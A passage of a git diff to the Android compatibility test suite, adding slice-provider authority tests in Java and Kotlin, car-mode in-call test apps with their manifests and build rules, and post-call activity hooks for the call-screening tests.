"libdexmakerjvmtiagent",
"libmultiplejvmtiagentsinterferenceagent",
],
- srcs: ["src/**/*.java"],
+ srcs: ["src/**/*.java", "src/**/*.kt"],
platform_apis: true,
}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..2a2e8e4
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+ private static final String VALID_AUTHORITY = "android.slice.cts";
+ private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+ private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+ private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+ private static final String VALID_ACTION_URI_STRING =
+ "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+ private static final String SHADY_ACTION_URI_STRING =
+ "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+ @Rule
+ public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+ private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+ private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+ private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+ private ContentResolver mContentResolver;
+
+ @Before
+ public void setUp() {
+ mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+ }
+
+ @Test
+ public void testCallSliceUri_ValidAuthority() {
+ doQuery(validActionUri);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCallSliceUri_ShadyAuthority() {
+ doQuery(shadyActionUri);
+ }
+
+ private Slice doQuery(Uri actionUri) {
+ Bundle extras = new Bundle();
+ extras.putParcelable("slice_uri", actionUri);
+ extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+ new SliceSpec("androidx.slice.LIST", 1),
+ new SliceSpec("androidx.app.slice.BASIC", 1),
+ new SliceSpec("androidx.slice.BASIC", 1),
+ new SliceSpec("androidx.app.slice.LIST", 1)
+ ));
+ Bundle result = mContentResolver.call(
+ validBaseUri,
+ SliceProvider.METHOD_SLICE,
+ null,
+ extras
+ );
+ return result.getParcelable(SliceProvider.EXTRA_SLICE);
+ }
+
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
new file mode 100644
index 0000000..4b78f3a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts
+
+import android.app.slice.Slice
+import android.app.slice.SliceSpec
+import android.content.ContentResolver
+import android.net.Uri
+import android.os.Bundle
+
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Before
+
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val VALID_AUTHORITY = "android.slice.cts"
+private const val SUSPICIOUS_AUTHORITY = "com.suspicious.www"
+private const val ACTION_BLUETOOTH = "/action/bluetooth"
+private const val VALID_BASE_URI_STRING = "content://$VALID_AUTHORITY"
+private const val VALID_ACTION_URI_STRING = "content://$VALID_AUTHORITY$ACTION_BLUETOOTH"
+private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
+
+@RunWith(AndroidJUnit4::class)
+class SliceProviderTest {
+
+ @Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
+
+ private val validBaseUri = Uri.parse(VALID_BASE_URI_STRING)
+ private val validActionUri = Uri.parse(VALID_ACTION_URI_STRING)
+ private val shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING)
+
+ private lateinit var contentResolver: ContentResolver
+
+ @Before
+ fun setUp() {
+ contentResolver = activityTestRule.activity.contentResolver
+ }
+
+ @Test
+ fun testCallSliceUri_ValidAuthority() {
+ doQuery(validActionUri)
+ }
+
+ @Test(expected = SecurityException::class)
+ fun testCallSliceUri_ShadyAuthority() {
+ doQuery(shadyActionUri)
+ }
+
+ private fun doQuery(actionUri: Uri): Slice {
+ val extras = Bundle().apply {
+ putParcelable("slice_uri", actionUri)
+ putParcelableArrayList("supported_specs", ArrayList(listOf(
+ SliceSpec("androidx.slice.LIST", 1),
+ SliceSpec("androidx.app.slice.BASIC", 1),
+ SliceSpec("androidx.slice.BASIC", 1),
+ SliceSpec("androidx.app.slice.LIST", 1)
+ )))
+ }
+ val result = contentResolver.call(
+ validBaseUri,
+ SliceProvider.METHOD_SLICE,
+ null,
+ extras
+ )
+ return result.getParcelable(SliceProvider.EXTRA_SLICE)
+ }
+}
diff --git a/tests/tests/speech/AndroidTest.xml b/tests/tests/speech/AndroidTest.xml
index 9ce9cf3..53bca68 100644
--- a/tests/tests/speech/AndroidTest.xml
+++ b/tests/tests/speech/AndroidTest.xml
@@ -20,6 +20,8 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- TTS Synthesizer pipeline is native code. -->
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM. -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 9640802..93fc4d9 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -87,7 +87,6 @@
private static final String SETTINGS_PACKAGE_NAME = "com.android.settings";
private static final String ARGUMENT_KEY_FORCE_ENABLE = "force_enable_gesture_navigation";
private static final int STEPS = 10;
- private static final int DIP_INTERVAL = 40;
// The minimum value of the system gesture exclusion limit is 200 dp. The value here should be
// greater than that, so that we can test if the limit can be changed by DeviceConfig or not.
@@ -96,6 +95,7 @@
private final boolean mForceEnableGestureNavigation;
private final Map<String, Boolean> mSystemGestureOptionsMap;
private float mPixelsPerDp;
+ private float mDensityPerCm;
private int mDisplayWidth;
private int mExclusionLimit;
private UiDevice mDevice;
@@ -283,6 +283,7 @@
final DisplayMetrics metrics = new DisplayMetrics();
display.getRealMetrics(metrics);
mPixelsPerDp = metrics.density;
+ mDensityPerCm = (int) ((float) metrics.densityDpi / 2.54);
mDisplayWidth = metrics.widthPixels;
mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
@@ -390,7 +391,7 @@
Consumer<Point> callback) {
final int theLeftestLine = viewBoundary.left + 1;
final int theRightestLine = viewBoundary.right - 1;
- final float interval = mPixelsPerDp * DIP_INTERVAL;
+ final float interval = mDensityPerCm;
int count = 0;
for (int i = theLeftestLine; i < theRightestLine; i += interval) {
@@ -413,7 +414,7 @@
private int clickAllOfSamplePoints(Rect viewBoundary, Consumer<Point> callback) {
final int theToppestLine = viewBoundary.top + 1;
final int theBottomestLine = viewBoundary.bottom - 1;
- final float interval = mPixelsPerDp * DIP_INTERVAL;
+ final float interval = mDensityPerCm;
int count = 0;
for (int i = theToppestLine; i < theBottomestLine; i += interval) {
count += clickAllOfHorizontalSamplePoints(viewBoundary, i, callback);
@@ -431,7 +432,7 @@
int count = 0;
- for (int i = theToppestLine; i < theBottomestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+ for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
if (callback != null) {
callback.accept(new Point(theLeftestLine, i),
new Point(viewBoundary.centerX(), i));
@@ -456,7 +457,7 @@
final int theBottomestLine = viewBoundary.bottom - 1;
int count = 0;
- for (int i = theToppestLine; i < theBottomestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+ for (int i = theToppestLine; i < theBottomestLine; i += mDensityPerCm) {
if (callback != null) {
callback.accept(new Point(theRightestLine, i),
new Point(viewBoundary.centerX(), i));
@@ -490,7 +491,7 @@
final int theRightestLine = viewBoundary.right - 1;
int count = 0;
- for (int i = theLeftestLine; i < theRightestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+ for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
if (callback != null) {
callback.accept(new Point(i, theToppestLine),
new Point(i, viewBoundary.centerY()));
@@ -515,7 +516,7 @@
final int theBottomestLine = viewBoundary.bottom - 1;
int count = 0;
- for (int i = theLeftestLine; i < theRightestLine; i += mPixelsPerDp * DIP_INTERVAL) {
+ for (int i = theLeftestLine; i < theRightestLine; i += mDensityPerCm) {
if (callback != null) {
callback.accept(new Point(i, theBottomestLine),
new Point(i, viewBoundary.centerY()));
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 5544eea..b574332 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -12,6 +12,23 @@
// See the License for the specific language governing permissions and
// limitations under the License.
+filegroup {
+ name: "car-mode-app-srcs",
+ srcs: [
+ "src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java",
+ "src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java",
+ ],
+ path: "src/",
+}
+
+filegroup {
+ name: "car-mode-app-aidl",
+ srcs: [
+ "aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl",
+ ],
+ path: "aidl/",
+}
+
android_test {
name: "CtsTelecomTestCases",
defaults: ["cts_defaults"],
@@ -28,6 +45,7 @@
],
srcs: [
"src/**/*.java",
+ "aidl/**/I*.aidl",
"CallScreeningServiceTestApp/**/*.java",
"CallScreeningServiceTestApp/**/I*.aidl",
"ThirdPtyInCallServiceTestApp/**/*.java",
@@ -47,6 +65,7 @@
"ThirdPtyInCallServiceTestApp/aidl/",
"CallRedirectionServiceTestApp/aidl/",
"CallScreeningServiceTestApp/aidl/",
+ "aidl/",
],
},
sdk_version: "test_current",
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 227a2ad..5e6a6ee 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.telecom.cts">
+ package="android.telecom.cts"
+ android:sharedUserId="android.telecom.cts">
<uses-sdk android:minSdkVersion="21" />
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
@@ -29,6 +30,10 @@
<uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+ <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+ <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
<uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index b8e86c1..e09cb7c 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -28,6 +28,8 @@
<option name="test-file-name" value="ThirdPtyInCallServiceTestApp.apk" />
<option name="test-file-name" value="Api29InCallServiceTestApp.apk" />
<option name="test-file-name" value="CallScreeningServiceTestApp.apk" />
+ <option name="test-file-name" value="CarModeTestApp.apk" />
+ <option name="test-file-name" value="CarModeTestAppTwo.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index bd8bb78..715e8f7 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -17,7 +17,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.telecom.cts.api29incallservice"
android:versionCode="1"
- android:versionName="1.0" >
+ android:versionName="1.0"
+ android:sharedUserId="android.telecom.cts">
<!-- sdk 15 is the max for read call log -->
<uses-sdk android:minSdkVersion="15"
@@ -25,7 +26,7 @@
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-permission android:name="android.permission.CALL_COMPANION_APP" />
+ <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
<application android:label="Api29CTSInCallService">
<service android:name=".CtsApi29InCallService"
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
index 31da35e..a1aaf35 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallService.java
@@ -54,4 +54,9 @@
return sCalls.size();
}
}
+
+ static void reset() {
+ sCalls.clear();
+ sHistoricalCallCount = 0;
+ }
}
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
index b135606..27876cd 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/src/android/telecom/cts/api29incallservice/CtsApi29InCallServiceControl.java
@@ -58,4 +58,10 @@
return null;
}
+ @Override
+ public boolean onUnbind(Intent intent) {
+ CtsApi29InCallService.reset();
+ return false;
+ }
+
}
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index c3b39a7..7428130 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -18,6 +18,9 @@
package="android.telecom.cts.screeningtestapp">
<permission android:name="android.telecom.cts.screeningtestapp.CTS_SERVICE_PERMISSION"
android.protectionLevel="signature"/>
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" />
+ <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
<application android:label="CTSCSTest">
<service android:name=".CtsCallScreeningService"
android:permission="android.permission.BIND_SCREENING_SERVICE">
@@ -30,5 +33,12 @@
<action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE" />
</intent-filter>
</service>
+ <activity android:name=".CtsPostCallActivity"
+ android:label="CtsPostCallActivity">
+ <intent-filter>
+ <action android:name="android.telecom.action.POST_CALL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
</application>
</manifest>
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
index ec451da..9e7cc2c 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/aidl/android/telecom/cts/screeningtestapp/ICallScreeningControl.aidl
@@ -24,4 +24,12 @@
void setCallResponse(boolean shouldDisallowCall, boolean shouldRejectCall,
boolean shouldSkipCall, boolean shouldSkipCallLog, boolean shouldSkipNotification);
+
+ boolean waitForBind();
+
+ boolean waitForActivity();
+
+ String getCachedHandle();
+
+ int getCachedDisconnectCause();
}
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
index debd52c..96f4173 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CallScreeningServiceControl.java
@@ -39,6 +39,7 @@
"android.telecom.cts.screeningtestapp/.CallScreeningServiceControl");
private static CallScreeningServiceControl sCallScreeningServiceControl = null;
+ private CountDownLatch mBindingLatch = new CountDownLatch(1);
private final IBinder mControlInterface =
new android.telecom.cts.screeningtestapp.ICallScreeningControl.Stub() {
@@ -50,6 +51,8 @@
.setSkipCallLog(false)
.setSkipNotification(false)
.build();
+ mBindingLatch = new CountDownLatch(1);
+ CtsPostCallActivity.resetPostCallActivity();
}
@Override
@@ -67,6 +70,30 @@
.setSilenceCall(shouldSilenceCall)
.build();
}
+
+ @Override
+ public boolean waitForBind() {
+ try {
+ return mBindingLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+
+ @Override
+ public boolean waitForActivity() {
+ return CtsPostCallActivity.waitForActivity();
+ }
+
+ @Override
+ public String getCachedHandle() {
+ return CtsPostCallActivity.getCachedHandle().getSchemeSpecificPart();
+ }
+
+ @Override
+ public int getCachedDisconnectCause() {
+ return CtsPostCallActivity.getCachedDisconnectCause();
+ }
};
private CallScreeningService.CallResponse mCallResponse =
@@ -99,6 +126,10 @@
return false;
}
+ public void onScreeningServiceBound() {
+ mBindingLatch.countDown();
+ }
+
public CallScreeningService.CallResponse getCallResponse() {
return mCallResponse;
}
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
index 1d291b6..3e2bb40 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsCallScreeningService.java
@@ -16,18 +16,13 @@
package android.telecom.cts.screeningtestapp;
-import android.content.ComponentName;
import android.content.Intent;
-import android.graphics.drawable.Icon;
import android.os.IBinder;
import android.telecom.Call;
import android.telecom.CallScreeningService;
-import android.text.TextUtils;
import android.util.Log;
-import java.util.List;
-
/**
* Provides a CTS-test implementation of {@link CallScreeningService}.
* This emulates a third-party implementation of {@link CallScreeningService}, where
@@ -36,19 +31,21 @@
*/
public class CtsCallScreeningService extends CallScreeningService {
private static final String TAG = CtsCallScreeningService.class.getSimpleName();
+ private CallScreeningServiceControl mCallScreeningServiceControl;
@Override
public IBinder onBind(Intent intent) {
Log.i(TAG, "onBind: returning actual service");
+ mCallScreeningServiceControl = CallScreeningServiceControl.getInstance();
+ mCallScreeningServiceControl.onScreeningServiceBound();
return super.onBind(intent);
}
@Override
public void onScreenCall(Call.Details callDetails) {
Log.i(TAG, "onScreenCall");
- CallScreeningServiceControl control = CallScreeningServiceControl.getInstance();
- if (control != null) {
- respondToCall(callDetails, control.getCallResponse());
+ if (mCallScreeningServiceControl != null) {
+ respondToCall(callDetails, mCallScreeningServiceControl.getCallResponse());
} else {
Log.w(TAG, "No control interface.");
}
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
new file mode 100644
index 0000000..ac5ce01
--- /dev/null
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/src/android/telecom/cts/screeningtestapp/CtsPostCallActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.screeningtestapp;
+
+import static android.telecom.TelecomManager.EXTRA_DISCONNECT_CAUSE;
+import static android.telecom.TelecomManager.EXTRA_HANDLE;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CtsPostCallActivity extends Activity {
+ private static final String ACTION_POST_CALL = "android.telecom.action.POST_CALL";
+ private static final int DEFAULT_DISCONNECT_CAUSE = -1;
+ private static final long TEST_TIMEOUT = 5000;
+
+ private static Uri cachedHandle;
+ private static int cachedDisconnectCause;
+ private static CountDownLatch sLatch = new CountDownLatch(1);
+
+ @Override
+ protected void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ final Intent intent = getIntent();
+ final String action = intent != null ? intent.getAction() : null;
+ if (ACTION_POST_CALL.equals(action)) {
+ cachedHandle = intent.getParcelableExtra(EXTRA_HANDLE);
+ cachedDisconnectCause = intent
+ .getIntExtra(EXTRA_DISCONNECT_CAUSE, DEFAULT_DISCONNECT_CAUSE);
+ sLatch.countDown();
+ }
+ }
+
+ public static Uri getCachedHandle() {
+ return cachedHandle;
+ }
+
+ public static int getCachedDisconnectCause() {
+ return cachedDisconnectCause;
+ }
+
+ public static void resetPostCallActivity() {
+ sLatch = new CountDownLatch(1);
+ cachedHandle = null;
+ cachedDisconnectCause = DEFAULT_DISCONNECT_CAUSE;
+ }
+
+ public static boolean waitForActivity() {
+ try {
+ return sLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/telecom/CarModeTestApp/Android.bp b/tests/tests/telecom/CarModeTestApp/Android.bp
new file mode 100644
index 0000000..84afa03
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CarModeTestApp",
+ defaults: ["cts_defaults"],
+ srcs: [
+ ":car-mode-app-srcs",
+ ":car-mode-app-aidl",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "CtsTelecomMockLib",
+ ],
+ sdk_version: "test_current",
+ test_suites: [
+ "cts",
+ "vts",
+ ],
+}
diff --git a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..01d7094
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.telecom.cts.carmodetestapp"
+ android:versionCode="1"
+ android:versionName="1.0"
+ android:sharedUserId="android.telecom.cts">
+
+ <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+ <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+
+ <application android:label="CarModeTestApp">
+ <service android:name=".CtsCarModeInCallService"
+ android:permission="android.permission.BIND_INCALL_SERVICE"
+ android:launchMode="singleInstance"
+ android:exported="true">
+ <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
+ android:value="true"/>
+ <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+ android:value="true" />
+ <intent-filter>
+ <action android:name="android.telecom.InCallService"/>
+ </intent-filter>
+ </service>
+ <service android:name=".CtsCarModeInCallServiceControl"
+ android:launchMode="singleInstance"
+ android:exported="true">
+ <intent-filter>
+ <action
+ android:name="android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL"/>
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
diff --git a/tests/tests/telecom/CarModeTestAppTwo/Android.bp b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
new file mode 100644
index 0000000..fee7641
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CarModeTestAppTwo",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ":car-mode-app-srcs",
+ ":car-mode-app-aidl",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "CtsTelecomMockLib",
+ ],
+ sdk_version: "test_current",
+ test_suites: [
+ "cts",
+ "vts",
+ ],
+}
diff --git a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
new file mode 100644
index 0000000..bee5d20
--- /dev/null
+++ b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.telecom.cts.carmodetestapptwo"
+ android:versionCode="1"
+ android:versionName="1.0"
+ android:sharedUserId="android.telecom.cts">
+
+ <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+ <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+
+ <application android:label="CarModeTestAppTwo">
+ <service android:name=".CtsCarModeInCallServiceTwo"
+ android:permission="android.permission.BIND_INCALL_SERVICE"
+ android:launchMode="singleInstance"
+ android:exported="true">
+ <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
+ android:value="true"/>
